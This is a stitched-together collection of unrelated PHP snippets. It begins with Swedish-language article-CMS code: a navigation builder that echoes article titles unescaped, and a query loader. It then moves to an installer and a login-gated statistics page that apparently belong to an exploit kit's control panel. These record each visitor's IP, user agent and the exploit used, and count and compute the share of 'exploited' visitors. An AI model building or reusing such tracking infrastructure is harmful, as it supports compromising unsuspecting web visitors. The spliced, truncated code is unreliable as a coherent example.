public function articleNavigation($articleId = "", $aEditor = "") { if(!empty($articleId) && $aEditor == TRUE) { $editLink = "<a href='?p=editmessage&articleId={$articleId}' class='articleNav'>Editera artikel</a>"; } else { $editLink = "<a href='' class='articleNavForbidden' title='Ej editerbar' >Editera artikel</a>"; } $articleNav = <<< EOD <h3>Aktiviteter</h3> <hr class='artNav' /> <a href='?p=newmessage' class='articleNav'>Skriv ny artikel</a> <br /> {$editLink} <br /> <a href='?p=listarticles&articleList=cur' class='articleNav'>Mina artiklar</a> <br /> <a href='?p=listarticles&articleList=all' class='articleNav'>Alla artiklar</a> <br /> <br /> <h3>Senaste artiklar</h3> <hr class='artNav' /> EOD; //----------------------------- connecting to database $db = new CDatabaseController(); $mysqli = $db->connectToDatabase(); //------------------------------ retrieving and performing query $queryObject = new CSQL(); $query = $queryObject->getLatestArticles(); $res = $db->performDirectQuery($query); while($row = $res->fetch_object()) { $articleId = $row->id; $articleTitle = $row->articleTitle; $articleNav .= <<< EOD <a href='?p=showmessage&articleId={$articleId}' class='articleNav'>{$articleTitle}</a> <br /> EOD; } return $articleNav; }
public function loadQuery($aQuery) { $loadSQL = new CSQL(); switch($aQuery) { case 'install' : $loadQuery = $loadSQL->installDB(); break; case 'articleTable' : $loadQuery = $loadSQL->installArticleTable(); break; case 'installProcedures' : $loadQuery = $loadSQL->installProcedures(); break; case 'tempInstall' : $loadQuery = $loadSQL->installTemp(); break; case 'tunatalk' : $loadQuery = $loadSQL->installTunaTalk(); break; case 'login' : { global $username, $password; $username = $this->iMysqli->real_escape_string($username); $password = $this->iMysqli->real_escape_string($password); $loadQuery = $loadSQL->login(); } break; case 'filesArchive' : $loadQuery = $loadSQL->InstallFile(); break; default: $loadQuery = ''; } return $loadQuery; }
<?php include_once '../config.php'; include_once '../include/sql.php'; include_once '../include/visitors.php'; $sql = new CSQL($sqlSettings); $sql->open(); createTables($sqlSettings); echo "Installation Complete.<br>"; $sql->close(); function createTables($sqlSettings) { $cq = new CQuery(); echo "Creating Table " . $sqlSettings['tableVisitorsList'] . "<br>"; $sql_result = mysql_query(" DROP TABLE IF EXISTS `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "`"); $sql_result = mysql_query("\r\n\t\t\t\tCREATE TABLE IF NOT EXISTS `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "` (\r\n\t\t\t\t`id` INT AUTO_INCREMENT ,\r\n\t\t\t\t`ipAddress` VARCHAR( 16 ),\r\n\t\t\t\t`userAgent` VARCHAR( 400 ),\r\n\t\t\t\t`country` VARCHAR( 400 ),\r\n\t\t\t\t`referrer` VARCHAR( 400 ),\r\n\t\t\t\t`exploited` BOOL,\r\n\t\t\t\t`exploit` VARCHAR( 400 ),\t\t\t\t\r\n\t\t\t\tPRIMARY KEY ( `id` )\r\n\t\t\t\t) ENGINE = MYISAM ;"); echo "Tables Created.<br>"; }
<?php include '../config.php'; include '../include/sql.php'; include '../include/visitors.php'; session_start(); if ($_SESSION["login"] == false) { exit; } $sql = new CSQL($sqlSettings); $sql->open(); $cvisitors = new CVisitors($sql, $sqlSettings); $countVisitors = $cvisitors->getUniqueVisitorsCount(); $countExploitedVisitors = $cvisitors->getVisitorsExploitedCount(); $countNotExploitedVisitors = $countVisitors - $countExploitedVisitors; if ($countVisitors == 0 || $countExploitedVisitors == 0) { $exploitedPercentage = 0; } else { $exploitedPercentage = round($countExploitedVisitors * 100 / $countVisitors, 2); } ?> document.getElementById("visitors").innerHTML = <?php echo $countVisitors; ?> ; document.getElementById("exploited").innerHTML = <?php echo $countExploitedVisitors; ?> ; document.getElementById("percentage").innerHTML = <?php